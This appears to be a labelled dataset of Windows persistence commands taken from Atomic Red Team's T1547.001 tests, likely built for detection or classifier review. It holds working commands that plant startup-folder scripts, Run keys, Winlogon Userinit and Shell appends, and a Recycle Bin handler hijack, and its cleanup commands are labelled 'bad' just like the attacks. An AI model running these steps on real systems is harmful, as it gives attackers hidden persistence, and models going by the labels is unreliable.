85b9e4f35ae37a78cf76fcd5,"Remove-ItemProperty -Path #{reg_key_path} -Name ""NextRun"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path #{reg_key_path} -Name ""NextRun"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,PowerShell Registry RunOnce,T1547.001,"[""T1547.001""]",windows,0.55,True,"RunOnce Key Persistence via PowerShell
Upon successful execution, a new entry will be added to the runonce item in the registry.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
84f63153cd5863c619e08622,"Copy-Item ""$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"" cscript.exe ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" cscript.exe ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs""","Copy-Item ""$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\vbsstartup.vbs"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"" cscript.exe ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" cscript.exe ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious vbs file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.9,False,"vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, ""T1547.001 Hello, World VBS!"" will be displayed twice. 
Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49fc253809cdf043ecbbf206,"Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"" -ErrorAction Ignore","Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\vbsstartup.vbs"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\vbsstartup.vbs"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious vbs file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.55,True,"vbs files can be placed in and ran from the startup folder to maintain persistance. Upon execution, ""T1547.001 Hello, World VBS!"" will be displayed twice. 
Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
201a950801585beed04e8242,"Copy-Item ""$PathToAtomicsFolder\T1547.001\src\jsestartup.jse"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\jsestartup.jse"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"" cscript.exe /E:Jscript ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" cscript.exe /E:Jscript ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse""","Copy-Item ""$PathToAtomicsFolder\T1547.001\src\jsestartup.jse"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\jsestartup.jse"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"" cscript.exe /E:Jscript ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" cscript.exe /E:Jscript ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious jse file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.9,False,"jse files can be placed in and ran from the startup folder to maintain persistance.
Upon execution, ""T1547.001 Hello, World JSE!"" will be displayed twice. 
Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
faa981294228e668e7ab3511,"Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"" -ErrorAction Ignore","Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\jsestartup.jse"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\jsestartup.jse"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious jse file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.55,True,"jse files can be placed in and ran from the startup folder to maintain persistance.
Upon execution, ""T1547.001 Hello, World JSE!"" will be displayed twice. 
Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8a08e80b84cef4adee682723,"Copy-Item ""$PathToAtomicsFolder\T1547.001\src\batstartup.bat"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\batstartup.bat"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"" Start-Process ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" Start-Process ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat""","Copy-Item ""$PathToAtomicsFolder\T1547.001\src\batstartup.bat"" ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" Copy-Item ""$PathToAtomicsFolder\T1547.001\src\batstartup.bat"" ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"" Start-Process ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" Start-Process ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious bat file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.9,False,"bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
91813cb7ff47e155f9c3c19f,"Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"" -ErrorAction Ignore","Remove-Item ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup\batstartup.bat"" -ErrorAction Ignore Remove-Item ""C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\batstartup.bat"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Suspicious bat file run from startup Folder,T1547.001,"[""T1547.001""]",windows,0.55,True,"bat files can be placed in and executed from the startup folder to maintain persistance

Upon execution, cmd will be run and immediately closed. Additionally, the new files can be viewed in the ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup""
folder and will also run when the computer is restarted and the user logs in.
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8ea4437fc684615ddbfb958e,"$Target = ""C:\Windows\System32\calc.exe"" $ShortcutLocation = ""$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"" $WScriptShell = New-Object -ComObject WScript.Shell $Create = $WScriptShell.CreateShortcut($ShortcutLocation) $Create.TargetPath = $Target $Create.Save()","$Target = ""C:\Windows\System32\calc.exe"" $ShortcutLocation = ""$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"" $WScriptShell = New-Object -ComObject WScript.Shell $Create = $WScriptShell.CreateShortcut($ShortcutLocation) $Create.TargetPath = $Target $Create.Save()",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add Executable Shortcut Link to User Startup Folder,T1547.001,"[""T1547.001""]",windows,0.9,False,Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ,primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
49d3333d3a79866a956e40b2,"Remove-Item ""$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"" -ErrorAction Ignore","Remove-Item ""$home\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\calc_exe.lnk"" -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add Executable Shortcut Link to User Startup Folder,T1547.001,"[""T1547.001""]",windows,0.55,True,Adds a non-malicious executable shortcut link to the current users startup directory. Test can be verified by going to the users startup directory and checking if the shortcut link exists. ,unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
69be49205bdf2ba5e32fa38a,"reg ADD ""HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command"" /ve /d ""calc.exe"" /f","reg ADD ""HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open\command"" /ve /d ""calc.exe"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add persistance via Recycle bin,T1547.001,"[""T1547.001""]",windows,0.9,False,"Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
User have to clic on the recycle bin to lauch the payload (here calc)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
19d38a5d326298a2be47dd31,"reg DELETE ""HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open"" /f","reg DELETE ""HKCR\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\open"" /f",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Add persistance via Recycle bin,T1547.001,"[""T1547.001""]",windows,0.55,True,"Add a persistance via Recycle bin [vxunderground](https://github.com/vxunderground/VXUG-Papers/blob/main/The%20Persistence%20Series/Persistence%20via%20Recycle%20Bin/Persistence_via_Recycle_Bin.pdf)
User have to clic on the recycle bin to lauch the payload (here calc)
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
3d6f7bea83c39041d59b5a5f,"$RunKey = ""#{reg_key_path}"" Set-ItemProperty -Path $RunKey -Name ""socks5_powershell"" -Value ""#{reg_key_value}""","$RunKey = ""#{reg_key_path}"" Set-ItemProperty -Path $RunKey -Name ""socks5_powershell"" -Value ""#{reg_key_value}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,SystemBC Malware-as-a-Service Registry,T1547.001,"[""T1547.001""]",windows,0.9,False,"This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
539f5c8d2fb8869eb3dad071,"Remove-ItemProperty -Path #{reg_key_path} -Name ""socks5_powershell"" -Force -ErrorAction Ignore","Remove-ItemProperty -Path #{reg_key_path} -Name ""socks5_powershell"" -Force -ErrorAction Ignore",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,SystemBC Malware-as-a-Service Registry,T1547.001,"[""T1547.001""]",windows,0.55,True,"This Atomic will create a registry key called socks5_powershell for persistance access
https://medium.com/walmartglobaltech/systembc-powershell-version-68c9aad0f85c
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
615da66c1b58434b509d077d,"New-Item -ItemType Directory -path ""#{new_startup_folder}"" Copy-Item -path ""#{payload}"" -destination ""#{new_startup_folder}"" Set-ItemProperty -Path ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Common Startup"" -Value ""#{new_startup_folder}""","New-Item -ItemType Directory -path ""#{new_startup_folder}"" Copy-Item -path ""#{payload}"" -destination ""#{new_startup_folder}"" Set-ItemProperty -Path ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Common Startup"" -Value ""#{new_startup_folder}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V ""Common Startup"" 
value to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
6820ce861aece2a3fd633054,"Set-ItemProperty -Path ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Common Startup"" -Value ""%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"" Remove-Item ""#{new_startup_folder}"" -Recurse -Force","Set-ItemProperty -Path ""HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Common Startup"" -Value ""%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"" Remove-Item ""#{new_startup_folder}"" -Recurse -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Change Startup Folder - HKLM Modify User Shell Folders Common Startup Value,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test will modify the HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders -V ""Common Startup"" 
value to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
8caebdba820769804fe92eb3,"New-Item -ItemType Directory -path ""#{new_startup_folder}"" Copy-Item -path ""#{payload}"" -destination ""#{new_startup_folder}"" Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Startup"" -Value ""#{new_startup_folder}""","New-Item -ItemType Directory -path ""#{new_startup_folder}"" Copy-Item -path ""#{payload}"" -destination ""#{new_startup_folder}"" Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Startup"" -Value ""#{new_startup_folder}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Change Startup Folder - HKCU Modify User Shell Folders Startup Value,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders  -V ""Startup"" value 
to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e1243653246541e32d7d33d4,"Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Startup"" -Value ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"" Remove-Item ""#{new_startup_folder}"" -Recurse -Force","Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders"" -Name ""Startup"" -Value ""$env:APPDATA\Microsoft\Windows\Start Menu\Programs\Startup"" Remove-Item ""#{new_startup_folder}"" -Recurse -Force",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,Change Startup Folder - HKCU Modify User Shell Folders Startup Value,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test will modify the HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders  -V ""Startup"" value 
to point to a new startup folder where a payload could be stored to launch at boot.  *successful execution requires system restart
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e5317d2d5c7eb53c9da80a49,"if (!(Test-Path -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"")){ New-Item -ItemType Key -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" } if (!(Test-Path -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"")){ New-Item -ItemType Key -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" } Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}"" -Value ""#{payload}""","if (!(Test-Path -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"")){ New-Item -ItemType Key -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer"" } if (!(Test-Path -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"")){ New-Item -ItemType Key -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" } Set-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}"" -Value ""#{payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKCU - Policy Settings Explorer Run Key,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. 
*Requires reboot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
ea5230f373a4ec387f868571,"Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}""","Remove-ItemProperty -Path ""HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKCU - Policy Settings Explorer Run Key,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test will create a new value under HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run to launch calc.exe on boot. 
*Requires reboot
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
cf5aeaa64fe91ae8fe4d77fb,"if (!(Test-Path -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"")){ New-Item -ItemType Key -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" } Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}"" -Value ""#{payload}""","if (!(Test-Path -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"")){ New-Item -ItemType Key -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" } Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}"" -Value ""#{payload}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Policy Settings Explorer Run Key,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. 
*Requires reboot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
5a7555f9f2cdfa10819ed4bf,"Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}""","Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run"" -Name ""#{target_key_value_name}""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Policy Settings Explorer Run Key,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test will create a HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run key value to launch calc.exe on boot. 
*Requires reboot
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
e714a8d0bf7ac5e0fb5b7e58,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit""); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit-backup"" -Value ""$oldvalue""; $newvalue = $oldvalue + "" #{payload}""; Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit"" -Value ""$newvalue""","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit""); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit-backup"" -Value ""$oldvalue""; $newvalue = $oldvalue + "" #{payload}""; Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit"" -Value ""$newvalue""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Append Command to Winlogon Userinit KEY Value,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
* Requires reboot
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
eddab89cffe869c25042fd77,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Userinit-backup'); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit"" -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Userinit-backup'","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Userinit-backup'); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Userinit"" -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Userinit-backup'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Append Command to Winlogon Userinit KEY Value,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test will append a command to the  HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit value to launch calc.exe on boot.
* Requires reboot
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
4668e665db21b3dd49892a55,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell""); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell-backup"" -Value ""$oldvalue""; $newvalue = $oldvalue + "", #{payload}""; Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell"" -Value ""$newvalue""","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell""); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell-backup"" -Value ""$oldvalue""; $newvalue = $oldvalue + "", #{payload}""; Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell"" -Value ""$newvalue""",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Modify default System Shell - Winlogon Shell KEY Value ,T1547.001,"[""T1547.001""]",windows,0.9,False,"This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from ""explorer.exe"" to the full path of ""C:\Windows\explorer.exe"" 
to log a change to the key's default value without breaking boot sequence. 
An atacker will alternatively replace this with a custom shell. 
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
a149e877dfaf6b8fbacaacb0,"$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Shell-backup'); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell"" -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Shell-backup'","$oldvalue = $(Get-ItemPropertyValue -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Shell-backup'); Set-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name ""Shell"" -Value ""$oldvalue""; Remove-ItemProperty -Path ""HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"" -Name 'Shell-backup'",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,HKLM - Modify default System Shell - Winlogon Shell KEY Value ,T1547.001,"[""T1547.001""]",windows,0.55,True,"This test change the default value of HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell from ""explorer.exe"" to the full path of ""C:\Windows\explorer.exe"" 
to log a change to the key's default value without breaking boot sequence. 
An atacker will alternatively replace this with a custom shell. 
",unreviewed,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
96e1fdf6bb30dbee783fb9db,"secedit /import /db #{secedit_db} /cfg ""#{ini_file}"" secedit /configure /db #{secedit_db}","secedit /import /db #{secedit_db} /cfg ""#{ini_file}"" secedit /configure /db #{secedit_db}",bad,bad,plain,suspicious,adversary_simulation,atomic_red_team,redcanaryco/atomic-red-team,atomics/T1547.001/T1547.001.yaml,secedit used to create a Run key in the HKLM Hive,T1547.001,"[""T1547.001""]",windows,0.9,False,"secedit allows to manipulate the HKLM hive of the Windows registry. This test creates a Run key with the keyname calc having calc.exe as the value in the HKLM hive.
[Reference](https://blueteamops.medium.com/secedit-and-i-know-it-595056dee53d)
",primary,,False,,2026-04-02T03:20:35.658034+00:00,review_queue,review
